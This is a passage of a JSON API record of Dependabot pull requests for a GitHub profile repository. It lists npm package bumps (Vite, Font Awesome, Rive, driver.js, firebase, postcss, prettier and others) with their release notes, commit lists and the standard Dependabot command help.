href=\"https://redirect.github.com/vitejs/vite/issues/22878\"\u003e#22878\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2c4a217a63dc0a7fcb10bc710a988f32b173f481\"\u003e2c4a217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ereplace deprecated \u003ccode\u003eonwarn\u003c/code\u003e with \u003ccode\u003eonLog\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22741\"\u003e#22741\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c581b5588cb8e94603d17bce2ff9fec8e8e0a3bf\"\u003ec581b55\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/a477454442eff649b430f9e3c6caf2500fcb7183\"\u003e\u003ccode\u003ea477454\u003c/code\u003e\u003c/a\u003e release: v8.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ab5dafa8e66296ef201f615489fb57954bb740ce\"\u003e\u003ccode\u003eab5dafa\u003c/code\u003e\u003c/a\u003e feat(legacy): prefer oxc as minifier (fix \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/21973\"\u003e#21973\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22468\"\u003e#22468\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/173a1b648c321e0f836e5a94fc47c4fa9b081bfc\"\u003e\u003ccode\u003e173a1b6\u003c/code\u003e\u003c/a\u003e fix(ssr): align named export function call stacktrace column with Node (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22829\"\u003e#22829\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/575c32c29925c554f4ef4068738ab89c6878f615\"\u003e\u003ccode\u003e575c32c\u003c/code\u003e\u003c/a\u003e fix(build): add workaround for building on stackblitz (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22840\"\u003e#22840\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/72a5e2192506f51a5efd09c059815a5c43a9eacb\"\u003e\u003ccode\u003e72a5e21\u003c/code\u003e\u003c/a\u003e fix(optimizer): avoid optimizer run for transform request before init (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22852\"\u003e#22852\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/a9539d69efc7a4ccf988bbf5da31c2b416ba990e\"\u003e\u003ccode\u003ea9539d6\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency postcss-modules to v9 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22867\"\u003e#22867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/70435b2551ee4fe3a0d55c8a3bb61b96f44d2763\"\u003e\u003ccode\u003e70435b2\u003c/code\u003e\u003c/a\u003e docs: fix incorrect \u003ccode\u003e@default\u003c/code\u003e for \u003ccode\u003eserver.cors\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22859\"\u003e#22859\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/2c4a217a63dc0a7fcb10bc710a988f32b173f481\"\u003e\u003ccode\u003e2c4a217\u003c/code\u003e\u003c/a\u003e build: remove the custom onLog function (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22878\"\u003e#22878\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/c581b5588cb8e94603d17bce2ff9fec8e8e0a3bf\"\u003e\u003ccode\u003ec581b55\u003c/code\u003e\u003c/a\u003e build: replace deprecated \u003ccode\u003eonwarn\u003c/code\u003e with \u003ccode\u003eonLog\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22741\"\u003e#22741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ea22fb352aad9a42c0a9d08f39d8a0bae8c111a5\"\u003e\u003ccode\u003eea22fb3\u003c/code\u003e\u003c/a\u003e refactor: eliminate ineffectiveDynamicImport warn (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22876\"\u003e#22876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v8.1.4/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Tomodo1773/my-profile/pull/20","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomodo1773%2Fmy-profile/issues/20","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/20/packages"}},{"old_version":"8.5.15","new_version":"8.5.19","update_type":"patch","path":"/frontend-angular","pr_created_at":"2026-07-15T05:50:25.000Z","version_change":"8.5.15 → 8.5.19","issue":{"uuid":"4889711311","node_id":"PR_kwDOS78mrM7x4Wce","number":13,"state":"closed","title":"chore(deps): bump the frontend-minor-patch group in /frontend-angular with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-07-16T00:59:51.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-15T05:50:25.000Z","updated_at":"2026-07-16T00:59:54.000Z","time_to_close":68966,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"frontend-minor-patch","update_count":8,"packages":[{"name":"@fortawesome/free-solid-svg-icons","old_version":"7.2.0","new_version":"7.3.0","repository_url":"https://github.com/FortAwesome/Font-Awesome"},{"name":"@rive-app/canvas","old_version":"2.38.2","new_version":"2.38.5","repository_url":"https://github.com/rive-app/rive-wasm"},{"name":"driver.js","old_version":"1.6.0","new_version":"1.7.0","repository_url":"https://github.com/nilbuild/driver.js"},{"name":"firebase","old_version":"12.15.0","new_version":"12.16.0","repository_url":"https://github.com/firebase/firebase-js-sdk"},{"name":"laravel-echo","old_version":"2.3.7","new_version":"2.4.0","repository_url":"https://github.com/laravel/echo"},{"name":"autoprefixer","old_version":"10.5.0","new_version":"10.5.3","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"}],"path":"/frontend-angular","ecosystem":"npm"},"body":"Bumps the frontend-minor-patch group in /frontend-angular with 8 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@fortawesome/free-solid-svg-icons](https://github.com/FortAwesome/Font-Awesome) | `7.2.0` | `7.3.0` |\n| [@rive-app/canvas](https://github.com/rive-app/rive-wasm) | `2.38.2` | `2.38.5` |\n| [driver.js](https://github.com/nilbuild/driver.js) | `1.6.0` | `1.7.0` |\n| [firebase](https://github.com/firebase/firebase-js-sdk) | `12.15.0` | `12.16.0` |\n| [laravel-echo](https://github.com/laravel/echo) | `2.3.7` | `2.4.0` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.0` | `10.5.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n\nUpdates `@fortawesome/free-solid-svg-icons` from 7.2.0 to 7.3.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/FortAwesome/Font-Awesome/releases\"\u003e@​fortawesome/free-solid-svg-icons's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 7.3.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChange log available at \u003ca href=\"https://fontawesome.com/docs/changelog/\"\u003ehttps://fontawesome.com/docs/changelog/\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FortAwesome/Font-Awesome/commit/70fb2dd154b617f62fc4ae5b0b7e2943bfd2aa96\"\u003e\u003ccode\u003e70fb2dd\u003c/code\u003e\u003c/a\u003e Release 7.3.0 (\u003ca href=\"https://redirect.github.com/FortAwesome/Font-Awesome/issues/21612\"\u003e#21612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FortAwesome/Font-Awesome/compare/7.2.0...7.3.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@rive-app/canvas` from 2.38.2 to 2.38.5\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rive-app/rive-wasm/blob/master/CHANGELOG.md\"\u003e@​rive-app/canvas's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.4...2.38.5\"\u003e2.38.5\u003c/a\u003e\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix(peon_worker): Handle vulkan initialization errors in gpu recorder (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13035\"\u003e#13035\u003c/a\u003e) 37997d7366 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/fc180dd0347ab46a87cbb90e6b3d89987b5dc46a\"\u003e\u003ccode\u003efc180dd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(runtime): add new core type (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12981\"\u003e#12981\u003c/a\u003e) ac4657c21c \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/9687c8634b0d375e0f80aa0acff46d9431e69452\"\u003e\u003ccode\u003e9687c86\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(js): add miniaudio to Closure externs to prevent cross-runtime audio clash (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13017\"\u003e#13017\u003c/a\u003e) 48df83c484 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d57345685a201efd953773a935b5222819ca9e46\"\u003e\u003ccode\u003ed573456\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(runtime): expose data bind runtime methods (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13018\"\u003e#13018\u003c/a\u003e) eb0c54ee20 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/507405fd975755c6ea94f22cf8987ae1219b86ab\"\u003e\u003ccode\u003e507405f\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf(tests): Spawn image_diff.py only once per job (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13013\"\u003e#13013\u003c/a\u003e) c4ea178471 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/82ff2efdd4f533dc7147a1d7045529303cc4ecc9\"\u003e\u003ccode\u003e82ff2ef\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(build): Don't compile metal shaders for android or wasm (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13015\"\u003e#13015\u003c/a\u003e) 19d8fb7957 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/edb82799f75a0bcfd1d8efe9f213ce3b6972b191\"\u003e\u003ccode\u003eedb8279\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): ensure lua data is initialized (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13010\"\u003e#13010\u003c/a\u003e) e27bf13d74 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/0c7181d3bdc107d0ae1f46ee19a941d370b3f049\"\u003e\u003ccode\u003e0c7181d\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: test.blob(name) reads blob assets from test scripts (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13005\"\u003e#13005\u003c/a\u003e) afd68206e6 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/c2d5dc68c5d7244f496ce0ebda29ebef3ff4c951\"\u003e\u003ccode\u003ec2d5dc6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(scripting): Advance detached view model instances at end of frame (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13002\"\u003e#13002\u003c/a\u003e) a77c1355bd \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5c60809c034c613286278ae5bf8f934988cedced\"\u003e\u003ccode\u003e5c60809\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(scripting): 3D Vector ops, Mat4 lookAt/ortho, Vector buffer writes, GPUBuffer write source range (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13003\"\u003e#13003\u003c/a\u003e) ef0e100413 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/f524730aeb0f4b92b5507df365eafd4413230c4b\"\u003e\u003ccode\u003ef524730\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature (Unreal) Ore Support (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12941\"\u003e#12941\u003c/a\u003e) eeb280d7f9 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/2f40bb64d3dbfae916401c36b3c25dc8e7356070\"\u003e\u003ccode\u003e2f40bb6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: rev Luau to rive_0_728 (upstream 0.728) (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13000\"\u003e#13000\u003c/a\u003e) e4c22c3ef7 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/600e35d9f60bd3c74686271e69983ef3442ae551\"\u003e\u003ccode\u003e600e35d\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): validate bindablePropertyInstance before using it (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12989\"\u003e#12989\u003c/a\u003e) e2c7b48dc0 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d32afbb5af675ee1f92129852781f9e02ad53f11\"\u003e\u003ccode\u003ed32afbb\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTexture compression fixups (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12939\"\u003e#12939\u003c/a\u003e) a23e2ba586 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/66da7b7e4ebe9f41329eb039b3b14c618f310b41\"\u003e\u003ccode\u003e66da7b7\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.3...2.38.4\"\u003e2.38.4\u003c/a\u003e - 2026-07-01\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: tag 2.38.4 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1d7d8292fcc4e8d49a25b89ba451c183a1d4c996\"\u003e\u003ccode\u003e1d7d829\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(editor - text input): expose trigger property to focus on text i… (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12975\"\u003e#12975\u003c/a\u003e) 50fdb3bb9f \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/ff5fdbda432b3838615402c299bac682e742d73c\"\u003e\u003ccode\u003eff5fdbd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime-focus): resolve focus to first leaf on direct focus (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12974\"\u003e#12974\u003c/a\u003e) d607980229 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/b164d37c771741e9fd09973882bc0422570d6803\"\u003e\u003ccode\u003eb164d37\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(image): compose layout fit as a separate scale so user scale stays independent (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12896\"\u003e#12896\u003c/a\u003e) c372d0d9d4 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/36fb99af1d4ee2c3a49f8c7a6b5fbf92e44ae916\"\u003e\u003ccode\u003e36fb99a\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ore buffer per-frame update race (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12976\"\u003e#12976\u003c/a\u003e) cc34cea963 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/dc8e0ed2ffcb6fb070f0fec2b269bfb86617a8ec\"\u003e\u003ccode\u003edc8e0ed\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(apple): add semantics support (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12642\"\u003e#12642\u003c/a\u003e) 9f3eef8634 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d82357f7da6d554a73ee6d7573729812e0fa7598\"\u003e\u003ccode\u003ed82357f\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(runtime): add semantics command queue api (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12198\"\u003e#12198\u003c/a\u003e) bd587cb83f \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d4d9933cf28397332cb6cc2c71521e31b1bf2a62\"\u003e\u003ccode\u003ed4d9933\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add artboard volume to command queue/server (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12816\"\u003e#12816\u003c/a\u003e) 88115b0949 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/e7a79809ad46362587e8600d590b147f7fe76567\"\u003e\u003ccode\u003ee7a7980\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRev Luau to rive_0_726 (upstream 0.726) (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12953\"\u003e#12953\u003c/a\u003e) 61822bb247 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/6133d67ec22e39ee96a81800ffa131d684ef32b6\"\u003e\u003ccode\u003e6133d67\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(editor): add view model uses to dependencies panel (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12948\"\u003e#12948\u003c/a\u003e) 63b8450361 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1f94d639695bee2f72c57194bd0150f145e8738e\"\u003e\u003ccode\u003e1f94d63\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(renderer): Update dead macro names (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12933\"\u003e#12933\u003c/a\u003e) 09c54e8737 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5ce487317d41b27c73daa4528b8c86fc5e777a69\"\u003e\u003ccode\u003e5ce4873\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.2...2.38.3\"\u003e2.38.3\u003c/a\u003e - 2026-06-24\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: tag 2.38.3 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/df35482bbbebefa872158c0d29dd6b1ec2a2c4d7\"\u003e\u003ccode\u003edf35482\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): bidirectional data bind with source preference does not… (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12927\"\u003e#12927\u003c/a\u003e) adb0834474 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1b6d428236e8dca9663a7e92748814a2f7843c19\"\u003e\u003ccode\u003e1b6d428\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(renderer): Add scissor support to more backends (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12778\"\u003e#12778\u003c/a\u003e) 424d2323f9 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/f4e5e4c8f849b8ab7bba08cdb608c29e3174a01b\"\u003e\u003ccode\u003ef4e5e4c\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNnnnn focus management fixes (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12303\"\u003e#12303\u003c/a\u003e) b2438309fa \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/760e86ba05ca86aca88be3c2ef5ec2dd3418efcf\"\u003e\u003ccode\u003e760e86b\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/761c318fb4931f18852e07cedb49ef4053843bd6\"\u003e\u003ccode\u003e761c318\u003c/code\u003e\u003c/a\u003e chore: tag 2.38.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/fc180dd0347ab46a87cbb90e6b3d89987b5dc46a\"\u003e\u003ccode\u003efc180dd\u003c/code\u003e\u003c/a\u003e fix(peon_worker): Handle vulkan initialization errors in gpu recorder (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13035\"\u003e#13035\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/9687c8634b0d375e0f80aa0acff46d9431e69452\"\u003e\u003ccode\u003e9687c86\u003c/code\u003e\u003c/a\u003e chore(runtime): add new core type (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12981\"\u003e#12981\u003c/a\u003e) ac4657c21c\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d57345685a201efd953773a935b5222819ca9e46\"\u003e\u003ccode\u003ed573456\u003c/code\u003e\u003c/a\u003e fix(js): add miniaudio to Closure externs to prevent cross-runtime audio clas...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/507405fd975755c6ea94f22cf8987ae1219b86ab\"\u003e\u003ccode\u003e507405f\u003c/code\u003e\u003c/a\u003e chore(runtime): expose data bind runtime methods (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13018\"\u003e#13018\u003c/a\u003e) eb0c54ee20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/82ff2efdd4f533dc7147a1d7045529303cc4ecc9\"\u003e\u003ccode\u003e82ff2ef\u003c/code\u003e\u003c/a\u003e perf(tests): Spawn image_diff.py only once per job (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13013\"\u003e#13013\u003c/a\u003e) c4ea178471\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/edb82799f75a0bcfd1d8efe9f213ce3b6972b191\"\u003e\u003ccode\u003eedb8279\u003c/code\u003e\u003c/a\u003e fix(build): Don't compile metal shaders for android or wasm (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13015\"\u003e#13015\u003c/a\u003e) 19d8fb7957\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/0c7181d3bdc107d0ae1f46ee19a941d370b3f049\"\u003e\u003ccode\u003e0c7181d\u003c/code\u003e\u003c/a\u003e fix(runtime): ensure lua data is initialized (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13010\"\u003e#13010\u003c/a\u003e) e27bf13d74\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/c2d5dc68c5d7244f496ce0ebda29ebef3ff4c951\"\u003e\u003ccode\u003ec2d5dc6\u003c/code\u003e\u003c/a\u003e feature: test.blob(name) reads blob assets from test scripts (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13005\"\u003e#13005\u003c/a\u003e) afd68206e6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5c60809c034c613286278ae5bf8f934988cedced\"\u003e\u003ccode\u003e5c60809\u003c/code\u003e\u003c/a\u003e fix(scripting): Advance detached view model instances at end of frame (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13002\"\u003e#13002\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.2...2.38.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `driver.js` from 1.6.0 to 1.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nilbuild/driver.js/releases\"\u003edriver.js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.7.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eskipMissingElement\u003c/code\u003e option to skip a step whose target element is missing (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/489\"\u003e#489\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/395\"\u003e#395\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eindex\u003c/code\u003e on the options passed to every hook (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/490\"\u003e#490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e--driver-popover-font-family\u003c/code\u003e CSS variable to set the popover font (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThe popover title and description now render in the default font stack. Set \u003ccode\u003e--driver-popover-font-family\u003c/code\u003e to use your own.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIcon fonts placed inside a step description are no longer overridden (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/510\"\u003e#510\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEach \u003ccode\u003edriver()\u003c/code\u003e call keeps its own config, steps and state, (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/571\"\u003e#571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePopover no longer jumps when its content has images that load after 